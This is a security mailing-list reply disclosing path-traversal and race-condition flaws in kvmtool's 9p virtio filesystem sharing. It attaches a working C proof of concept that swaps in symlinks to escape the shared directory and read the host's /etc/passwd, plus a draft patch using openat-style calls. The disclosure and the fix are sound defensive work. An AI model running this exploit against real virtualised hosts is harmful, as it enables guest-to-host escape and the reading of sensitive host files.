Re: kvmtool: vulnerabilities in 9p virtio

["G. Campana" <gcampana+kvm@quarkslab.com>]

[-- Attachment #1: Type: text/plain, Size: 1443 bytes --]

Hi,

Avoiding race conditions and symlink attacks is a difficult task (the
attachment is a PoC which reads /etc/passwd in the host filesystem).
Unfortunately, I don't see any immediate solution.

I think that good practice would be to chroot to p9dev->root_dir, but it
requires root privileges (or user namespaces, but CLONE_NEWUSER isn't
available or enabled on every distros). Additionally, current directory
and root directory are shared amongst pthreads, so it doesn't fit in the
current thread model.
Although requiring a lot of work, it's the safest solution IMHO.

I tried to make a draft patch based on "at" functions (openat, unlinkat,
etc.) against a few filesystem operations (open, mkdir, and remove). I
believe it's secure, but it introduces a lot of overhead. A more elegant
solution might exist, but I didn't find it...

Cheers

On 04/09/2016 04:53 PM, André Przywara wrote:
> I quickly checked the code you mentioned and your reasoning seems valid.
> Since you seem to have experience in those things, do you care to make
> patches for fixing it?
> Is there any good practices for constructing file names while making
> sure they stay within a certain hierarchy? Is realpath() a safe way?
> 
> I started fixing every occurrence of strcpy, strcat, sprintf and scanf
> and will send the fixes ASAP, but would love to see some suggestion on
> how to address the file name construction issues you mentioned.
> 
> Cheers,
> Andre.

[-- Attachment #2: race.c --]
[-- Type: text/x-csrc, Size: 1139 bytes --]

#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/prctl.h>

#define TMP	"/tmp/race"


static void parent(void)
{
	char buffer[4096];
	int fd, ret;

	memset(buffer, 0, sizeof(buffer));

	while (1) {
		fd = open(TMP "/passwd", 0644);
		if (fd != -1) {
			ret = read(fd, buffer, sizeof(buffer)-1);
			/* don't break on guest's /etc/passwd:
			 * root:x:0:0:root:/root:/bin/sh\n */
			if (ret > 30) {
				printf("[%s]\n", buffer);
				break;
			}
			close(fd);
		}
	}

	exit(0);
}

static void child(void)
{
	if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) != 0)
		err(1, "prctl");

	srand(time(NULL));

	while (1) {
		rename(TMP, TMP "1");
		symlink("../../../../../../../../../../etc/", TMP);
		usleep(rand() % 10000);
		unlink(TMP);
		rename(TMP "1", TMP);
		usleep(rand() % 10000);
	}

	exit(0);
}

int main(int argc, char *argv[])
{
	pid_t pid;

	mkdir(TMP, 0755);

	pid = fork();
	if (pid == -1)
		err(1, "fork");
	else if (pid == 0)
		child();
	else
		parent();

	return 0;
}

[-- Attachment #3: race.patch --]
[-- Type: text/x-patch, Size: 4394 bytes --]

commit 08333a8d96f6af83be1e6f1b10b4f328ad292bf0
Author: Your Name <you@example.com>
Date:   Mon Apr 11 01:50:38 2016 -0700

    draft

diff --git a/virtio/9p.c b/virtio/9p.c
index 49e7c5c..0a8a371 100644
--- a/virtio/9p.c
+++ b/virtio/9p.c
@@ -222,6 +222,140 @@ static bool is_dir(struct p9_fid *fid)
 	return S_ISDIR(st.st_mode);
 }
 
+struct relpath {
+	char buf[PATH_MAX];
+	char *directory;
+	char *filename;
+	int dirfd;
+};
+
+static int split_path(const char *path, struct relpath *relpath)
+{
+	size_t size;
+	char *p;
+
+	size = strlen(path);
+	if (size == 0 || size >= sizeof(relpath->buf))
+		return -1;
+
+	/* ensure path is absolute */
+	if (path[0] != '/')
+		return -1;
+
+	strncpy(relpath->buf, path, sizeof(relpath->buf));
+
+	/* remove trailing slashes */
+	p = relpath->buf + size - 1;
+	while (p > relpath->buf && *p == '/')
+		*p-- = '\x00';
+
+	/* split directory from filename */
+	relpath->filename = strrchr(relpath->buf, '/');
+	if (relpath->filename != relpath->buf)
+		relpath->directory = relpath->buf;
+	else
+		relpath->directory = (char *)"/";
+	*relpath->filename++ = '\x00';
+
+	return 0;
+}
+
+/*
+ * Ensure that dirfd is inside the root directory.
+ */
+static bool inside_root_dir(struct p9_dev *p9dev, int dirfd)
+{
+	char buf[64], resolved_path[PATH_MAX];
+	size_t size;
+	int ret;
+
+	snprintf(buf, sizeof(buf), "/proc/self/fd/%d", dirfd);
+
+	ret = readlink(buf, resolved_path, sizeof(resolved_path));
+	if (ret < 0 || ret >= (ssize_t)sizeof(resolved_path))
+		return false;
+
+	resolved_path[ret] = '\x00';
+
+	size = strlen(p9dev->root_dir);
+	if (strncmp(resolved_path, p9dev->root_dir, size))
+		return false;
+
+	if (p9dev->root_dir[size-1] != '/' && resolved_path[size] != '/')
+		return false;
+
+	return true;
+}
+
+static int open_directory(struct p9_dev *p9dev, const char *path,
+			  struct relpath *relpath)
+{
+	if (split_path(path, relpath) != 0)
+		return -1;
+
+	relpath->dirfd = open(relpath->directory, O_DIRECTORY);
+	if (relpath->dirfd == -1)
+		return -1;
+
+	if (!inside_root_dir(p9dev, relpath->dirfd)) {
+		close(relpath->dirfd);
+		return -1;
+	}
+
+	return 0;
+}
+
+static int safe_open(struct p9_dev *p9dev, const char *path, int flags)
+{
+	struct relpath relpath;
+	int fd;
+
+	if (open_directory(p9dev, path, &relpath) != 0) {
+		errno = EINVAL;
+		return -1;
+	}
+
+	fd = openat(relpath.dirfd, relpath.filename, flags);
+	close(relpath.dirfd);
+
+	return fd;
+}
+
+static int safe_mkdir(struct p9_dev *p9dev, const char *path, mode_t mode)
+{
+	struct relpath relpath;
+	int ret;
+
+	if (open_directory(p9dev, path, &relpath) != 0) {
+		errno = EINVAL;
+		return -1;
+	}
+
+	ret = mkdirat(relpath.dirfd, relpath.filename, mode);
+	close(relpath.dirfd);
+
+	return ret;
+}
+
+static int safe_remove(struct p9_dev *p9dev, const char *pathname)
+{
+	struct relpath relpath;
+	int ret;
+
+	if (open_directory(p9dev, pathname, &relpath) != 0) {
+		errno = EINVAL;
+		return -1;
+	}
+
+	ret = unlinkat(relpath.dirfd, relpath.filename, 0);
+	if (ret != 0)
+		ret = unlinkat(relpath.dirfd, relpath.filename, AT_REMOVEDIR);
+
+	close(relpath.dirfd);
+
+	return ret;
+}
+
 static void virtio_p9_open(struct p9_dev *p9dev,
 			   struct p9_pdu *pdu, u32 *outlen)
 {
@@ -244,8 +378,8 @@ static void virtio_p9_open(struct p9_dev *p9dev,
 		if (!new_fid->dir)
 			goto err_out;
 	} else {
-		new_fid->fd  = open(new_fid->abs_path,
-				    virtio_p9_openflags(flags));
+		new_fid->fd  = safe_open(p9dev, new_fid->abs_path,
+					 virtio_p9_openflags(flags));
 		if (new_fid->fd < 0)
 			goto err_out;
 	}
@@ -319,7 +453,7 @@ static void virtio_p9_mkdir(struct p9_dev *p9dev,
 	dfid = get_fid(p9dev, dfid_val);
 
 	sprintf(full_path, "%s/%s", dfid->abs_path, name);
-	ret = mkdir(full_path, mode);
+	ret = safe_mkdir(p9dev, full_path, mode);
 	if (ret < 0)
 		goto err_out;
 
@@ -751,7 +885,7 @@ static void virtio_p9_remove(struct p9_dev *p9dev,
 	virtio_p9_pdu_readf(pdu, "d", &fid_val);
 	fid = get_fid(p9dev, fid_val);
 
-	ret = remove(fid->abs_path);
+	ret = safe_remove(p9dev, fid->abs_path);
 	if (ret < 0)
 		goto err_out;
 	*outlen = pdu->write_offset;
@@ -1112,7 +1246,7 @@ static void virtio_p9_unlinkat(struct p9_dev *p9dev,
 	fid = get_fid(p9dev, fid_val);
 
 	sprintf(full_path, "%s/%s", fid->abs_path, name);
-	ret = remove(full_path);
+	ret = safe_remove(p9dev, full_path);
 	if (ret < 0)
 		goto err_out;
 	free(name);